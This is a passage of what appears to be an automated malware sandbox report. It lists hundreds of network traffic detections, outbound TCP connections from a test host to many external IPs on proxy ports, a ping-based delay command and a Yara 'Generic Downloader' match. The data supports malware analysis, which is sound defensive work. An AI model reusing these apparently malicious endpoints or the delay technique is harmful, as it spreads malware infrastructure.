Source: unknown	Network traffic detected: HTTP traffic on port 50133 -> 45840
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 1981
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 36366
Source: unknown	Network traffic detected: HTTP traffic on port 50788 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 50737 -> 44268
Source: unknown	Network traffic detected: HTTP traffic on port 8081 -> 50597
Source: unknown	Network traffic detected: HTTP traffic on port 50880 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50803 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 9375
Source: unknown	Network traffic detected: HTTP traffic on port 50403 -> 52929
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 50727
Source: unknown	Network traffic detected: HTTP traffic on port 50777 -> 53281
Source: unknown	Network traffic detected: HTTP traffic on port 50921 -> 35316
Source: unknown	Network traffic detected: HTTP traffic on port 50879 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50881 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50430 -> 59727
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50500
Source: unknown	Network traffic detected: HTTP traffic on port 50815 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 8880 -> 50489
Source: unknown	Network traffic detected: HTTP traffic on port 8880 -> 50489
Source: unknown	Network traffic detected: HTTP traffic on port 50800 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50849 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 88 -> 50566
Source: unknown	Network traffic detected: HTTP traffic on port 50818 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50816 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 55005
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50587
Source: unknown	Network traffic detected: HTTP traffic on port 50947 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50840 -> 5003
Source: unknown	Network traffic detected: HTTP traffic on port 50899 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50898 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50873 -> 444
Source: unknown	Network traffic detected: HTTP traffic on port 50386 -> 11251
Source: unknown	Network traffic detected: HTTP traffic on port 50691 -> 16892
Source: unknown	Network traffic detected: HTTP traffic on port 32708 -> 50650
Source: unknown	Network traffic detected: HTTP traffic on port 50895 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50907 -> 34411
Source: unknown	Network traffic detected: HTTP traffic on port 50394 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50893 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50611 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50915 -> 7890
Source: unknown	Network traffic detected: HTTP traffic on port 50871 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 50932 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50937 -> 15779
Source: unknown	Network traffic detected: HTTP traffic on port 50943 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 51039 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50985 -> 10089
Source: unknown	Network traffic detected: HTTP traffic on port 50991 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50917 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50789 -> 8181
Source: unknown	Network traffic detected: HTTP traffic on port 51009 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51112 -> 55392
Source: unknown	Network traffic detected: HTTP traffic on port 5566 -> 50677
Source: unknown	Network traffic detected: HTTP traffic on port 51065 -> 46783
Source: unknown	Network traffic detected: HTTP traffic on port 50951 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51043 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50191 -> 35513
Source: unknown	Network traffic detected: HTTP traffic on port 50274 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51061 -> 15294
Source: unknown	Network traffic detected: HTTP traffic on port 10006 -> 50755
Source: unknown	Network traffic detected: HTTP traffic on port 51159 -> 8585
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 10647
Source: unknown	Network traffic detected: HTTP traffic on port 50444 -> 16487
Source: unknown	Network traffic detected: HTTP traffic on port 50441 -> 57327
Source: unknown	Network traffic detected: HTTP traffic on port 51076 -> 46164
Source: unknown	Network traffic detected: HTTP traffic on port 51008 -> 48114
Source: unknown	Network traffic detected: HTTP traffic on port 50975 -> 8084
Source: unknown	Network traffic detected: HTTP traffic on port 51038 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51036 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50994 -> 9091
Source: unknown	Network traffic detected: HTTP traffic on port 51051 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50792 -> 28810
Source: unknown	Network traffic detected: HTTP traffic on port 51235 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50294 -> 58630
Source: unknown	Network traffic detected: HTTP traffic on port 51141 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51210 -> 44374
Source: unknown	Network traffic detected: HTTP traffic on port 51228 -> 6821
Source: unknown	Network traffic detected: HTTP traffic on port 51045 -> 53281
Source: unknown	Network traffic detected: HTTP traffic on port 51132 -> 14888
Source: unknown	Network traffic detected: HTTP traffic on port 50686 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 51118 -> 808
Source: unknown	Network traffic detected: HTTP traffic on port 50291 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51175 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51173 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 8899 -> 50248
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50788
Source: unknown	Network traffic detected: HTTP traffic on port 51099 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50279 -> 17982
Source: unknown	Network traffic detected: HTTP traffic on port 50524 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50462 -> 7518
Source: unknown	Network traffic detected: HTTP traffic on port 51104 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51170 -> 4154
Source: unknown	Network traffic detected: HTTP traffic on port 51184 -> 29870
Source: unknown	Network traffic detected: HTTP traffic on port 51323 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 51131 -> 5025
Source: unknown	Network traffic detected: HTTP traffic on port 51248 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50849
Source: unknown	Network traffic detected: HTTP traffic on port 51137 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 8081 -> 50815
Source: unknown	Network traffic detected: HTTP traffic on port 8585 -> 51159
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50816
Source: unknown	Network traffic detected: HTTP traffic on port 51209 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 50376 -> 55443
Source: unknown	Network traffic detected: HTTP traffic on port 50190 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51160 -> 63625
Source: unknown	Network traffic detected: HTTP traffic on port 51269 -> 64943
Source: unknown	Network traffic detected: HTTP traffic on port 50405 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50312 -> 60651
Source: unknown	Network traffic detected: HTTP traffic on port 51221 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50363 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50895
Source: unknown	Network traffic detected: HTTP traffic on port 51325 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51212 -> 5000
Source: unknown	Network traffic detected: HTTP traffic on port 51329 -> 27360
Source: unknown	Network traffic detected: HTTP traffic on port 51434 -> 5484
Source: unknown	Network traffic detected: HTTP traffic on port 51328 -> 15280
Source: unknown	Network traffic detected: HTTP traffic on port 51140 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51377 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51359 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 10089 -> 50985
Source: unknown	Network traffic detected: HTTP traffic on port 51453 -> 32210
Source: unknown	Network traffic detected: HTTP traffic on port 51172 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 7890 -> 50915
Source: unknown	Network traffic detected: HTTP traffic on port 50408 -> 57728
Source: unknown	Network traffic detected: HTTP traffic on port 51324 -> 1131
Source: unknown	Network traffic detected: HTTP traffic on port 50385 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 9229 -> 50392
Source: unknown	Network traffic detected: HTTP traffic on port 51348 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51468 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 51351 -> 11201
Source: unknown	Network traffic detected: HTTP traffic on port 51440 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51260 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51364 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 51460 -> 43435
Source: unknown	Network traffic detected: HTTP traffic on port 51371 -> 8123
Source: unknown	Network traffic detected: HTTP traffic on port 51308 -> 6002
Source: unknown	Network traffic detected: HTTP traffic on port 50358 -> 83
Source: unknown	Network traffic detected: HTTP traffic on port 50427 -> 54393
Source: unknown	Network traffic detected: HTTP traffic on port 51365 -> 3629
Source: unknown	Network traffic detected: HTTP traffic on port 50698 -> 25256
Source: unknown	Network traffic detected: HTTP traffic on port 51401 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50487 -> 56755
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50880
Source: unknown	Network traffic detected: HTTP traffic on port 51418 -> 20060
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 27294
Source: unknown	Network traffic detected: HTTP traffic on port 51457 -> 47851
Source: unknown	Network traffic detected: HTTP traffic on port 51499 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51051
Source: unknown	Network traffic detected: HTTP traffic on port 9091 -> 50994
Source: unknown	Network traffic detected: HTTP traffic on port 14888 -> 51132
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 50712
Source: unknown	Network traffic detected: HTTP traffic on port 8084 -> 50975
Source: unknown	Network traffic detected: HTTP traffic on port 51455 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51517 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50699 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51518 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51426 -> 8118
Source: unknown	Network traffic detected: HTTP traffic on port 51580 -> 31785
Source: unknown	Network traffic detected: HTTP traffic on port 50668 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51492 -> 64309
Source: unknown	Network traffic detected: HTTP traffic on port 51513 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50733 -> 53778
Source: unknown	Network traffic detected: HTTP traffic on port 50803 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50760 -> 52276
Source: unknown	Network traffic detected: HTTP traffic on port 51516 -> 32770
Source: unknown	Network traffic detected: HTTP traffic on port 51112 -> 55392
Source: unknown	Network traffic detected: HTTP traffic on port 50756 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 4154 -> 51170
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51099
Source: unknown	Network traffic detected: HTTP traffic on port 51533 -> 47152
Source: unknown	Network traffic detected: HTTP traffic on port 50777 -> 53281
Source: unknown	Network traffic detected: HTTP traffic on port 50403 -> 52929
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 51468
Source: unknown	Network traffic detected: HTTP traffic on port 50475 -> 3629
Source: unknown	Network traffic detected: HTTP traffic on port 51527 -> 21025
Source: unknown	Network traffic detected: HTTP traffic on port 51640 -> 50704
Source: unknown	Network traffic detected: HTTP traffic on port 51556 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50430 -> 59727
Source: unknown	Network traffic detected: HTTP traffic on port 51509 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51557 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51689 -> 32210
Source: unknown	Network traffic detected: HTTP traffic on port 51721 -> 8595
Source: unknown	Network traffic detected: HTTP traffic on port 51542 -> 7777
Source: unknown	Network traffic detected: HTTP traffic on port 50558 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51627 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50792 -> 28810
Source: unknown	Network traffic detected: HTTP traffic on port 51548 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51547 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50702 -> 10722
Source: unknown	Network traffic detected: HTTP traffic on port 51591 -> 58714
Source: unknown	Network traffic detected: HTTP traffic on port 51570 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 51606 -> 34405
Source: unknown	Network traffic detected: HTTP traffic on port 51043 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 51578 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51550 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51348
Source: unknown	Network traffic detected: HTTP traffic on port 51684 -> 46164
Source: unknown	Network traffic detected: HTTP traffic on port 50484 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50932 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50937 -> 15779
Source: unknown	Network traffic detected: HTTP traffic on port 50643 -> 12266
Source: unknown	Network traffic detected: HTTP traffic on port 51210 -> 44374
Source: unknown	Network traffic detected: HTTP traffic on port 51228 -> 6821
Source: unknown	Network traffic detected: HTTP traffic on port 51323 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 5000 -> 51212
Source: unknown	Network traffic detected: HTTP traffic on port 51760 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50741 -> 41274
Source: unknown	Network traffic detected: HTTP traffic on port 51773 -> 42019
Source: unknown	Network traffic detected: HTTP traffic on port 51635 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 8123 -> 51371
Source: unknown	Network traffic detected: HTTP traffic on port 51038 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 51140
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 51172
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51260
Source: unknown	Network traffic detected: HTTP traffic on port 47851 -> 51457
Source: unknown	Network traffic detected: HTTP traffic on port 51434 -> 5484
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 12457
Source: unknown	Network traffic detected: HTTP traffic on port 51453 -> 32210
Source: unknown	Network traffic detected: HTTP traffic on port 50686 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 51513
Source: unknown	Network traffic detected: HTTP traffic on port 16379 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 8081 -> 50803
Source: unknown	Network traffic detected: HTTP traffic on port 47152 -> 51533
Source: unknown	Network traffic detected: HTTP traffic on port 51184 -> 29870
Source: unknown	Network traffic detected: HTTP traffic on port 50386 -> 11251
Source: unknown	Network traffic detected: HTTP traffic on port 51045 -> 53281
Source: unknown	Network traffic detected: HTTP traffic on port 51460 -> 43435
Source: unknown	Network traffic detected: HTTP traffic on port 51639 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51624 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51681 -> 9005
Source: unknown	Network traffic detected: HTTP traffic on port 51659 -> 29249
Source: unknown	Network traffic detected: HTTP traffic on port 51745 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51746 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51607 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50986 -> 5443
Source: unknown	Network traffic detected: HTTP traffic on port 51696 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 51675 -> 8197
Source: unknown	Network traffic detected: HTTP traffic on port 51651 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51726 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51716 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 6002 -> 51308
Source: unknown	Network traffic detected: HTTP traffic on port 51653 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51762 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51730 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 51613 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51704 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51783 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50708 -> 27898
Source: unknown	Network traffic detected: HTTP traffic on port 50729 -> 25847
Source: unknown	Network traffic detected: HTTP traffic on port 51188 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51748 -> 5039
Source: unknown	Network traffic detected: HTTP traffic on port 51668 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 51804 -> 64943
Source: unknown	Network traffic detected: HTTP traffic on port 51806 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51811 -> 27360
Source: unknown	Network traffic detected: HTTP traffic on port 51739 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51793 -> 10046
Source: unknown	Network traffic detected: HTTP traffic on port 51800 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 26927
Source: unknown	Network traffic detected: HTTP traffic on port 51827 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51785 -> 6009
Source: unknown	Network traffic detected: HTTP traffic on port 51155 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 51813 -> 8193
Source: unknown	Network traffic detected: HTTP traffic on port 51824 -> 57728
Source: unknown	Network traffic detected: HTTP traffic on port 51799 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51808 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51829 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51137 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 50862 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 51323
Source: unknown	Network traffic detected: HTTP traffic on port 51667 -> 14076
Source: unknown	Network traffic detected: HTTP traffic on port 51831 -> 10089
Source: unknown	Network traffic detected: HTTP traffic on port 50874 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51812 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51823 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51580 -> 31785
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51578
Source: unknown	Network traffic detected: HTTP traffic on port 50905 -> 57377
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51509
Source: unknown	Network traffic detected: HTTP traffic on port 51002 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 51351 -> 11201
Source: unknown	Network traffic detected: HTTP traffic on port 50691 -> 16892
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 51071 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50926 -> 33382
Source: unknown	Network traffic detected: HTTP traffic on port 51837 -> 8800
Source: unknown	Network traffic detected: HTTP traffic on port 50936 -> 62289
Source: unknown	Network traffic detected: HTTP traffic on port 8181 -> 50789
Source: unknown	Network traffic detected: HTTP traffic on port 50974 -> 38772
Source: unknown	Network traffic detected: HTTP traffic on port 51012 -> 31654
Source: unknown	Network traffic detected: HTTP traffic on port 51640 -> 50704
Source: unknown	Network traffic detected: HTTP traffic on port 51721 -> 8595
Source: unknown	Network traffic detected: HTTP traffic on port 51689 -> 32210
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 22538
Source: unknown	Network traffic detected: HTTP traffic on port 50524 -> 16379

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

Yara detected Generic Downloader

Source: Yara match

File source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE

Source: unknown

Network traffic detected: IP country count 30

Source: global traffic	TCP traffic: 192.168.2.5:49713 -> 83.219.145.106:3128
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 36.94.234.177:5678
Source: global traffic	TCP traffic: 192.168.2.5:49714 -> 102.215.65.250:5678
Source: global traffic	TCP traffic: 192.168.2.5:49715 -> 154.12.253.232:52127
Source: global traffic	TCP traffic: 192.168.2.5:49717 -> 23.164.240.84:8081
Source: global traffic	TCP traffic: 192.168.2.5:49719 -> 103.76.188.97:4153
Source: global traffic	TCP traffic: 192.168.2.5:49723 -> 189.91.85.133:31337
Source: global traffic	TCP traffic: 192.168.2.5:49724 -> 45.32.131.86:3000
Source: global traffic	TCP traffic: 192.168.2.5:49725 -> 102.68.128.212:8080
Source: global traffic	TCP traffic: 192.168.2.5:49728 -> 181.88.73.150:5678
Source: global traffic	TCP traffic: 192.168.2.5:49729 -> 138.2.73.157:1080
Source: global traffic	TCP traffic: 192.168.2.5:49731 -> 72.10.160.90:8633
Source: global traffic	TCP traffic: 192.168.2.5:49732 -> 103.78.201.242:3128
Source: global traffic	TCP traffic: 192.168.2.5:49733 -> 180.191.254.130:8080
Source: global traffic	TCP traffic: 192.168.2.5:49734 -> 185.164.163.135:8118
Source: global traffic	TCP traffic: 192.168.2.5:49735 -> 50.63.12.101:10647
Source: global traffic	TCP traffic: 192.168.2.5:49736 -> 110.78.149.121:4145
Source: global traffic	TCP traffic: 192.168.2.5:49737 -> 213.136.78.200:19925
Source: global traffic	TCP traffic: 192.168.2.5:49739 -> 31.42.184.146:57752
Source: global traffic	TCP traffic: 192.168.2.5:49742 -> 36.95.102.111:3128
Source: global traffic	TCP traffic: 192.168.2.5:49743 -> 167.86.74.155:21966
Source: global traffic	TCP traffic: 192.168.2.5:49745 -> 203.74.125.18:8888
Source: global traffic	TCP traffic: 192.168.2.5:49747 -> 94.231.199.226:1971
Source: global traffic	TCP traffic: 192.168.2.5:49748 -> 103.3.77.204:5678
Source: global traffic	TCP traffic: 192.168.2.5:49749 -> 185.169.181.26:4145
Source: global traffic	TCP traffic: 192.168.2.5:49751 -> 170.238.160.2:9999
Source: global traffic	TCP traffic: 192.168.2.5:49754 -> 41.207.251.194:8080
Source: global traffic	TCP traffic: 192.168.2.5:49756 -> 103.133.25.18:8181
Source: global traffic	TCP traffic: 192.168.2.5:49758 -> 95.217.104.21:24815
Source: global traffic	TCP traffic: 192.168.2.5:49759 -> 212.154.82.52:9090
Source: global traffic	TCP traffic: 192.168.2.5:49760 -> 123.200.6.58:5678
Source: global traffic	TCP traffic: 192.168.2.5:49761 -> 161.97.163.52:64109
Source: global traffic	TCP traffic: 192.168.2.5:49762 -> 103.245.204.214:8080
Source: global traffic	TCP traffic: 192.168.2.5:49764 -> 118.99.96.170:8080
Source: global traffic	TCP traffic: 192.168.2.5:49767 -> 72.195.34.35:27360
Source: global traffic	TCP traffic: 192.168.2.5:49768 -> 157.100.6.202:999
Source: global traffic	TCP traffic: 192.168.2.5:49769 -> 162.19.7.58:42767
Source: global traffic	TCP traffic: 192.168.2.5:49770 -> 50.238.47.86:32100
Source: global traffic	TCP traffic: 192.168.2.5:49771 -> 128.199.252.41:8000
Source: global traffic	TCP traffic: 192.168.2.5:49772 -> 50.227.218.172:5678
Source: global traffic	TCP traffic: 192.168.2.5:49773 -> 103.105.68.9:8080
Source: global traffic	TCP traffic: 192.168.2.5:49776 -> 103.148.195.22:8080
Source: global traffic	TCP traffic: 192.168.2.5:49777 -> 203.142.69.68:8080
Source: global traffic	TCP traffic: 192.168.2.5:49778 -> 81.134.57.82:3128
Source: global traffic	TCP traffic: 192.168.2.5:49779 -> 194.163.159.93:35081
Source: global traffic	TCP traffic: 192.168.2.5:49780 -> 36.92.96.179:5678
Source: global traffic	TCP traffic: 192.168.2.5:49781 -> 190.97.238.89:999
Source: global traffic	TCP traffic: 192.168.2.5:49782 -> 103.174.178.133:1020
Source: global traffic	TCP traffic: 192.168.2.5:49783 -> 107.180.88.41:37597
Source: global traffic	TCP traffic: 192.168.2.5:49784 -> 5.252.23.249:3128
Source: global traffic	TCP traffic: 192.168.2.5:49786 -> 117.160.250.163:8080
Source: global traffic	TCP traffic: 192.168.2.5:49788 -> 197.232.65.40:55443
Source: global traffic	TCP traffic: 192.168.2.5:49789 -> 166.62.38.100:8730
Source: global traffic	TCP traffic: 192.168.2.5:49790 -> 68.188.93.171:8080
Source: global traffic	TCP traffic: 192.168.2.5:49791 -> 191.97.19.66:999
Source: global traffic	TCP traffic: 192.168.2.5:49793 -> 119.235.54.138:5678
Source: global traffic	TCP traffic: 192.168.2.5:49794 -> 183.165.224.225:8089
Source: global traffic	TCP traffic: 192.168.2.5:49795 -> 67.43.227.226:12745
Source: global traffic	TCP traffic: 192.168.2.5:49796 -> 201.91.82.155:3128
Source: global traffic	TCP traffic: 192.168.2.5:49797 -> 197.234.13.12:4145
Source: global traffic	TCP traffic: 192.168.2.5:49798 -> 113.143.37.82:9002
Source: global traffic	TCP traffic: 192.168.2.5:49800 -> 20.33.5.27:8888
Source: global traffic	TCP traffic: 192.168.2.5:49801 -> 222.165.223.140:41541
Source: global traffic	TCP traffic: 192.168.2.5:49802 -> 147.124.212.31:11070
Source: global traffic	TCP traffic: 192.168.2.5:49804 -> 45.190.248.90:8080
Source: global traffic	TCP traffic: 192.168.2.5:49806 -> 183.89.41.224:8080
Source: global traffic	TCP traffic: 192.168.2.5:49807 -> 185.109.184.150:56067
Source: global traffic	TCP traffic: 192.168.2.5:49809 -> 158.69.53.98:9300
Source: global traffic	TCP traffic: 192.168.2.5:49810 -> 189.85.82.38:3128
Source: global traffic	TCP traffic: 192.168.2.5:49812 -> 101.255.158.42:8080
Source: global traffic	TCP traffic: 192.168.2.5:49813 -> 43.251.119.79:45787
Source: global traffic	TCP traffic: 192.168.2.5:49814 -> 103.60.186.21:52195
Source: global traffic	TCP traffic: 192.168.2.5:49811 -> 152.231.106.191:999
Source: global traffic	TCP traffic: 192.168.2.5:49815 -> 103.107.94.2:44578
Source: global traffic	TCP traffic: 192.168.2.5:49816 -> 104.238.111.107:56225
Source: global traffic	TCP traffic: 192.168.2.5:49817 -> 47.101.202.178:7891
Source: global traffic	TCP traffic: 192.168.2.5:49818 -> 43.155.142.116:15673
Source: global traffic	TCP traffic: 192.168.2.5:49819 -> 51.178.165.36:3128
Source: global traffic	TCP traffic: 192.168.2.5:49820 -> 43.255.113.232:8082
Source: global traffic	TCP traffic: 192.168.2.5:49821 -> 38.127.179.236:2093
Source: global traffic	TCP traffic: 192.168.2.5:49823 -> 50.63.12.33:22450
Source: global traffic	TCP traffic: 192.168.2.5:49824 -> 209.126.104.38:12457
Source: global traffic	TCP traffic: 192.168.2.5:49825 -> 103.83.178.42:8181
Source: global traffic	TCP traffic: 192.168.2.5:49826 -> 101.255.164.134:8080
Source: global traffic	TCP traffic: 192.168.2.5:49827 -> 45.81.232.17:21481
Source: global traffic	TCP traffic: 192.168.2.5:49828 -> 103.199.155.18:6969
Source: global traffic	TCP traffic: 192.168.2.5:49829 -> 201.174.73.70:11337
Source: global traffic	TCP traffic: 192.168.2.5:49831 -> 85.117.56.151:8080
Source: global traffic	TCP traffic: 192.168.2.5:49832 -> 177.53.214.4:999
Source: global traffic	TCP traffic: 192.168.2.5:49833 -> 88.99.138.21:5088
Source: global traffic	TCP traffic: 192.168.2.5:49834 -> 45.171.108.253:999
Source: global traffic	TCP traffic: 192.168.2.5:49835 -> 202.74.245.82:8090
Source: global traffic	TCP traffic: 192.168.2.5:49836 -> 196.251.221.20:8104
Source: global traffic	TCP traffic: 192.168.2.5:49837 -> 103.23.101.97:4145
Source: global traffic	TCP traffic: 192.168.2.5:49839 -> 149.20.253.217:12551
Source: global traffic	TCP traffic: 192.168.2.5:49840 -> 51.89.173.40:54570
Source: global traffic	TCP traffic: 192.168.2.5:49841 -> 103.165.155.238:1111
Source: global traffic	TCP traffic: 192.168.2.5:49842 -> 92.204.135.37:26927
Source: global traffic	TCP traffic: 192.168.2.5:49844 -> 103.118.175.200:3127
Source: global traffic	TCP traffic: 192.168.2.5:49845 -> 31.211.142.115:8192
Source: global traffic	TCP traffic: 192.168.2.5:49846 -> 109.69.0.247:8741
Source: global traffic	TCP traffic: 192.168.2.5:49848 -> 81.16.248.246:25566
Source: global traffic	TCP traffic: 192.168.2.5:49849 -> 162.241.6.97:59991
Source: global traffic	TCP traffic: 192.168.2.5:49850 -> 103.69.90.57:8081
Source: global traffic	TCP traffic: 192.168.2.5:49851 -> 162.241.46.54:58330
Source: global traffic	TCP traffic: 192.168.2.5:49852 -> 72.10.164.178:26959
Source: global traffic	TCP traffic: 192.168.2.5:49853 -> 182.253.181.10:8080
Source: global traffic	TCP traffic: 192.168.2.5:49854 -> 72.195.34.58:4145
Source: global traffic	TCP traffic: 192.168.2.5:49856 -> 37.32.98.160:8998
Source: global traffic	TCP traffic: 192.168.2.5:49859 -> 209.222.97.30:19481
Source: global traffic	TCP traffic: 192.168.2.5:49860 -> 216.107.129.135:10180
Source: global traffic	TCP traffic: 192.168.2.5:49861 -> 54.39.50.68:8216
Source: global traffic	TCP traffic: 192.168.2.5:49862 -> 212.108.144.67:8080
Source: global traffic	TCP traffic: 192.168.2.5:49863 -> 134.209.29.120:3128
Source: global traffic	TCP traffic: 192.168.2.5:49864 -> 162.241.53.72:57364
